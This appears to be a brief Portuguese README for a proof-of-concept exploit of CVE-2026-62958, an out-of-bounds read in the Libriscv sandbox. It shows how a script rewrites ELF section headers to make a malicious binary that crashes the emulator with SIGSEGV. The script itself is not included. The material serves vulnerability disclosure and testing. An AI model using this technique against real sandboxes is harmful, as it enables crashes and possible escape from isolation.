
Exploit de prova de conceito para CVE-2026-62958 demonstrando uma vulnerabilidade de leitura fora dos limites no sandbox Libriscv, permitindo a falha do sandbox através de um binário ELF malicioso.
Uma vulnerabilidade no Libriscv permite que o atacante quebre a sandbox usando uma Leitura Fora dos Limites.
Para criar o Bad elf:
python3 poc.py samplefile poisoned_file
Resultados:
❯ python3 poc.py fib poisoned_file
Manipulating .text section header at offset 0x250
Manipulating .symtab section header at offset 0x710
❯ ./rvlinux poisoned_file
fish: Job 1, './rvlinux poisoned_file' terminated by signal SIGSEGV (Address boundary error)